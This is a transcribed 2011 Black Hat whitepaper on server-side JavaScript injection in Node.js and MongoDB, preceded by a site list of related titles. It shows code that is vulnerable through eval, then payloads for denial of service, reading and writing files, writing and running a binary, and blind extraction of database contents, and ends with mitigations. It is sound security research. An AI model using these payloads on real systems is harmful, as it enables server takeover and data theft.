Server-Side JavaScript Injection Bryan Sullivan, Senior Security Researcher, Adobe Secure Software Engineering Team July 2011



Similar documents
NoSQL, But Even Less Security Bryan Sullivan, Senior Security Researcher, Adobe Secure Software Engineering Team

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Current Data Security Issues of NoSQL Databases

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

HTTPParameter Pollution. ChrysostomosDaniel

Cross Site Scripting Prevention

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Webapps Vulnerability Report

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Hack Proof Your Webapps

Cross-Site Scripting

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Web Application Security 101

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

A Tale of the Weaknesses of Current Client-side XSS Filtering

Intrusion detection for web applications

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

Øredev Web application testing using a proxy. Lucas Nelson, Symantec Inc.

Check list for web developers

Web Application Security

CS 558 Internet Systems and Technologies

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Client vs. Server Implementations of Mitigating XSS Security Threats on Web Applications

(WAPT) Web Application Penetration Testing

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

The Top Web Application Attacks: Are you vulnerable?

A Tale of the Weaknesses of Current Client-Side XSS Filtering

elearning for Secure Application Development

SERVER-SIDE JAVASCRIPT INJECTION ATTACKING AND DEFENDING NOSQL AND NODE.JS BRYAN SULLIVAN SENIOR SECURITY RESEARCHER, ADOBE SYSTEMS

Introduction to Computer Security

Project 2: Web Security Pitfalls

SQL Injection January 23, 2013

Detect and Sanitise Encoded Cross-Site Scripting and SQL Injection Attack Strings Using a Hash Map

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting

Software Assurance Tools: Web Application Security Scanner Functional Specification Version 1.0

NoSQL Database Systems and their Security Challenges

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

Chapter 1 Web Application (In)security 1

University of Wisconsin Platteville SE411. Senior Seminar. Web System Attacks. Maxwell Friederichs. April 18, 2013

Web Application Worms & Browser Insecurity

VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Columbia University Web Security Standards and Practices. Objective and Scope

Toward A Taxonomy of Techniques to Detect Cross-site Scripting and SQL Injection Vulnerabilities

Web Application Security

Revisiting SQL Injection Will we ever get it right? Michael Sutton, Security Evangelist

Web Security CS th November , Jonathan Francis Roscoe, Department of Computer Science, Aberystwyth University

ModSecurity as Universal Cross-platform Web Protection Tool

Advanced Web Security, Lab

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

EVADING ALL WEB-APPLICATION FIREWALLS XSS FILTERS

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

5 Simple Steps to Secure Database Development

Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper

Web Application Security

HOD of Dept. of CSE & IT. Asst. Prof., Dept. Of CSE AIET, Lko, India. AIET, Lko, India

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Institutionen för datavetenskap

Recommended Practice Case Study: Cross-Site Scripting. February 2007

Magento Security and Vulnerabilities. Roman Stepanov

Secure Web Development Teaching Modules 1. Threat Assessment

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

What is Web Security? Motivation

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Web Application Guidelines

WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6

Web Application Security How to Minimize Prevalent Risk of Attacks

Application security testing: Protecting your application and data

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Security features of ZK Framework

Cross Site Scripting in Joomla Acajoom Component

Web Application Security Assessment and Vulnerability Mitigation Tests

XML Processing and Web Services. Chapter 17

A Review of Web Application Security for Preventing Cyber Crimes

Network Threats and Vulnerabilities. Ed Crowley

Web application security: Testing for vulnerabilities

NO SQL! NO INJECTION?

Network Security Web Security

EECS 398 Project 2: Classic Web Vulnerabilities

Adobe Systems Incorporated

Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations OWASP. The OWASP Foundation. Marco Morana & Scott Nusbaum

Web Security Testing Cookbook*

Complete Cross-site Scripting Walkthrough

SQL Injection 2.0: Bigger, Badder, Faster and More Dangerous Than Ever. Dana Tamir, Product Marketing Manager, Imperva

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6

Secure Coding. External App Integrations. Tim Bach Product Security Engineer salesforce.com. Astha Singhal Product Security Engineer salesforce.

A Study on Dynamic Detection of Web Application Vulnerabilities

A Survey on Threats and Vulnerabilities of Web Services

Web-Application Security

Web and Security 1 / 40

Web Application Security

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

Transcription:

Server-Side JavaScript Injection Bryan Sullivan, Senior Security Researcher, Adobe Secure Software Engineering Team July 2011 Abstract This whitepaper is presented in support of the BlackHat USA 2011 talk, Server- Side JavaScript Injection: Attacking NoSQL and Node.js. Both this paper and the accompanying talk will discuss security vulnerabilities that can arise when software developers create applications or modules for use with JavaScript-based server applications such as NoSQL database engines or Node.js web servers. In the worstcase scenario, an attacker can exploit these vulnerabilities to upload and execute arbitrary binary files on the server machine, effectively granting him full control over the server. The Rise of JavaScript JavaScript has been widely used on web application client-side tiers (i.e. in code executing in the userʼs browser) for years in order to provide a richer, more desktoplike user experience. But in recent years, there has been a surge of interest in JavaScript not just for client-side code, but for server-side code as well. There are now server-side JavaScript (or SSJS) features in database servers (CouchDB for example), file servers (Opera Unite), and web servers (Node.js). Certainly much of this new interest can be attributed to the vast performance improvements that JavaScript engine developers have made recently. Competition between Microsoft, Mozilla, Apple, Google, and Opera to build the fastest browser has resulted in JavaScript engines that run orders of magnitude faster than their predecessors of just a few releases past. While it may not have been feasible from a performance perspective to build a fully-functioning web server based on JScript circa IE6 (for example), itʼs an entirely different matter to build one based on JägerMonkey circa Firefox 4. Another possible impetus for this shift is familiarity: so many web developers already have a great deal of experience in building client-side JavaScript functionality, and historically these people have been relegated to writing front ends of web applications. But moving to an SSJS back end can potentially allow the organization to take better advantage of the talent pool already existing in-house. Background: Client-Side JavaScript Injection (aka Cross-Site Scripting) While there can be substantial benefits of moving to SSJS, one serious drawback exists in that script injection vulnerabilities that can be exploited to execute on the server are just as easy to accidentally introduce into server-side application code as they are for client-side code; and furthermore, the effects of server-side JavaScript injection are far more critical and damaging. Client-side JavaScript injection vulnerabilities are better known as their much more common name cross-site scripting (or XSS). The effects of XSS vulnerabilities can be

very damaging: XSS has been responsible for session hijacking/identity theft (theft of session and/or authentication cookies from the DOM); phishing attacks (injection of fake login dialogs into legitimate pages on the host application); keystroke logging; and webworms (MySpace/Samy among others). The Open Web Application Security Project (OWASP) currently ranks XSS as the #2 most dangerous threat to web applications (behind SQL injection), and the 2011 CWE/SANS Top 25 Most Dangerous Software Errors ranks XSS as the #4 threat (down from #1 in the 2010 list). XSS vulnerabilities are not only extremely dangerous, theyʼre extremely widespread as well. The Web Application Security Statistics report 1 released by the Web Application Security Consortium (WASC) in 2008 estimated that 39% of all web sites contain at least one XSS vulnerability. More recent independent studies by both WhiteHat Security 2 and Cenzic 3 show even greater percentages: WhiteHat estimates that 64% of sites are vulnerable to XSS, and Cenzic estimates a 68% vulnerability rate. One of the reasons XSS is so prevalent is that itʼs so easily accidentally introduced into application code. Consider this block of client-side JavaScript code intended to process stock quote requests. (The code uses JSON as the message format and XMLHttpRequest as the request object.) <html> <script> var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if ((xhr.readystate == 4) && (xhr.status == 200)) { var stockinfo = eval('(' + xhr.responsetext + ')'); alert('the current price of ' + stockinfo.symbol + ' is $' + stockinfo.price); function makerequest(tickersymbol) { xhr.open("post","stock_service",true); xhr.send("{\"symbol\" : \"" + tickersymbol + "\""); </script> <html> This code looks straightforward but the call to eval potentially introduces a serious vulnerability. If an attacker were able to influence the response coming from the stock service to inject script code, the call to eval would execute that script code in the victimʼs browser context. The attackerʼs most likely move at this point would be to extract any authentication or session cookies from the page DOM and send them back to himself, so that he could assume the identity of the victim and take over his session. 1 http://projects.webappsec.org/w/page/13246989/web-application-security-statistics 2 https://www.whitehatsec.com/home/assets/wpstats_winter11_11th.pdf?doc=wpstats_winter11_11th 3 http://www.cenzic.com/downloads/cenzic_appsectrends_q1-q2-2010.pdf

A New Vector: Server-Side JavaScript Injection Now consider a very similar block of JavaScript code designed to parse JSON requests, except that this code is executing on the server tier to implement a node.js web server. var http = require('http'); http.createserver(function (request, response) { if (request.method === 'POST') { ); var data = ''; request.addlistener('data', function(chunk) { data += chunk; ); request.addlistener('end', function() { var stockquery = eval("(" + data + ")"); getstockprice(stockquery.symbol); The same line of code (eval of the incoming JSON data) is responsible for an injection vulnerability in this snippet as in the previous client-side example. However, in this case, the effects of the vulnerability are much more severe than a leak of a victimʼs cookies. For example, assume in this case that a legitimate, non-malicious JSON message to the stock quote service looks like this: {"symbol" : "AMZN" The call to eval then evaluates the string: ({"symbol" : "AMZN") However, in this case there is nothing to prevent an attacker from simply sending his own JavaScript code in place of the normal JSON message. For example, he could send: response.end('success') The server code would then execute this injected command and return the text success as the body of the HTTP response. If an attacker sends this probing request and receives success as the response, he knows that the server will execute his arbitrarily supplied JavaScript, and he can proceed to send some more damaging attacks.

Denial of Service An effective denial-of-service attack can be executed simply by sending the command: while(1) This attack will cause the target server to use 100% of its processor time to process the infinite loop. The server will hang and be unable to process any other incoming requests until an administrator manually restarts the process. Itʼs worth noting how asymmetric this DoS attack is. The attacker doesnʼt need to flood the target with millions of requests; instead, only a single HTTP request with an eight-byte payload is sufficient to disable the target. An alternative DoS attack would be to simply exit or kill the running process: process.exit() process.kill(process.pid) File System Access Another potential goal of an attacker might be to read the contents of files from the local system. Node.js (as well as some NoSQL database engines such as CouchDB) use the CommonJS API; file system access is supported by including (via the require keyword) the fs module: var fs = require('fs'); New modules can be requireʼd in at any time, so if the currently running script did not originally include file system access functionality (for example), an attacker can simply add that functionality in by including the appropriate require command along with his attack payload. The following attacks list the contents of the current directory and parent directory respectively: response.end(require('fs').readdirsync('.').tostring()) response.end(require('fs').readdirsync('..').tostring()) From here, it is a simple matter to build a complete directory structure of the entire file system. To list the actual contents of a file, the attacker would issue the following command: response.end(require('fs').readfilesync(filename)) However, not only can the attacker read the contents of files, he can also write to them as well. This attack prepends the string hacked to the start of the currently executing file although, of course, much more malicious attacks would be possible.

var fs = require('fs'); var currentfile = process.argv[1]; fs.writefilesync(currentfile, 'hacked' + fs.readfilesync(currentfile)); Finally, we note that it is also possible to create arbitrary files on the target server, including binary executable files: require('fs').writefilesync(filename,data,'base64'); where filename is the name of the resulting file (i.e. foo.exe ) and data is the base- 64 encoded contents that will be written to the new file. The attacker now only needs a way to execute this binary on the server, which we will demonstrate in the next section. Execution of Binary Files Now that the attacker has written his attack binary to the server, he needs to execute it. Our final demonstration of server-side JavaScript injection exploit payloads shows how he can accomplish this. require('child_process').spawn(filename); At this point, any further exploits are limited only by the attackerʼs imagination. NoSQL Injection Server-side JavaScript injection vulnerabilities are not limited to just eval calls inside of node.js scripts. NoSQL database engines that process JavaScript containing userspecified parameters can also be vulnerable. MongoDB, for example, supports the use of JavaScript functions for query specifications and map/reduce operations. Since MongoDB databases (like other NoSQL databases) do not have strictly defined database schemas, using JavaScript for query syntax allows developers to write arbitrarily complex queries against disparate document structures. For example, letʼs say we have a MongoDB collection that contains some documents representing books, some documents representing movies, and some documents representing music albums. This JavaScript query function will select all the documents in the specified collection that were either written, filmed, or recorded in the specified year: function() { var search_year = input_value; return this.publicationyear == search_year this.filmingyear == search_year this.recordingyear == search_year; If the application developer were building this application in PHP (for example), the source code might look like this: $query = 'function() {var search_year = \''. $_GET['year']. '\';'.

'return this.publicationyear == search_year '. ' this.filmingyear == search_year '. ' this.recordingyear == search_year;'; $cursor = $collection->find(array('$where' => $query)); This code uses the value of the request parameter year as the search parameter. However, just as in a traditional SQL injection attack, since the query syntax is being constructed in an ad-hoc fashion (i.e. query syntax concatenated along with user input), this code is vulnerable to a server-side JavaScript injection attack. For example, this request would be an effective DoS attack against the system: http://server/app.php?year=1995';while(1);var%20foo='bar Blind NoSQL Injection Another possible attack vector when using SSJS injection attacks against NoSQL databases is the use of blind NoSQL injection to extract out the entire contents of the NoSQL database. To demonstrate how this attack might work, letʼs continue the MongoDB example given earlier. To execute any kind of successful blind injection attack, the attacker needs to see a difference in the serverʼs response to a true condition versus its response to a false condition. This is trivial to accomplish via SSJS injection, in fact even more trivial than the classic OR 1=1 SQL injection attack: http://server/app.php?year=1995';return(true);var%20foo='bar http://server/app.php?year=1995';return(false);var%20foo='bar If there is any difference in the serverʼs response between these two injections, then the attacker can now ask the server any true/false question, and by asking enough questions he will be able to extract out the entire contents of the database. The first question to ask is, How many collections are in the database?, or more precisely, Is there exactly one collection in the database?, or Are there exactly two collections in the database?, etc: return(db.getcollectionnames().length == 1); return(db.getcollectionnames().length == 2); Once the attacker has established how many collections exist, the next step is to determine their names. He checks each collection name in the array, first to determine the length of the name, and then to determine the name itself one character at a time: return(db.getcollectionnames()[0].length == 1); return(db.getcollectionnames()[0].length == 2); return(db.getcollectionnames()[0][0] == 'a'); return(db.getcollectionnames()[0][0] == 'b');

Once the collection names have been extracted, the next step is to get the collection data. Again, the attacker first needs to determine how many documents are in each collection (in this example the name of the first collection is foo ): return(db.foo.find().length == 1); return(db.foo.find().length == 2); In a traditional blind SQL injection attack, the next step at this point would be to determine the column structure of each table. However, the concept of column structure does not have meaning for NoSQL database documents that lack a common schema. Every document in the collection could have a completely different structure from every other document. However, this fact wonʼt prevent extraction of the database contents. The attacker simply calls the tojsononeline method to return the document content as a JSON string, then extracts that data one character at a time: return(tojsononeline(db.foo.find()[0]).length == 1); return(tojsononeline(db.foo.find()[0]).length == 2); return(tojsononeline(db.foo.find()[0])[0] == 'a'); return(tojsononeline(db.foo.find()[0])[0] == 'b'); Eventually, this method will produce the entire contents of every document in every collection in the database. Conclusions and Mitigations It should be noted that exploitation of server-side JavaScript injection vulnerabilities is more like that of SQL injection than of cross-site scripting. SSJS injection does not require any social engineering of an intermediate victim user the way that reflected XSS or DOM-based XSS do; instead, the attacker can attack the application directly with arbitrarily created HTTP requests. Because of this, defenses against SSJS injection are also similar to SQL injection defenses: Avoid creating ad-hoc JavaScript commands by concatenating script with user input. Validate user input used in SSJS commands with regular expressions. Avoid use of the JavaScript eval command. In particular, when parsing JSON input, use a safer alternative such as JSON.parse.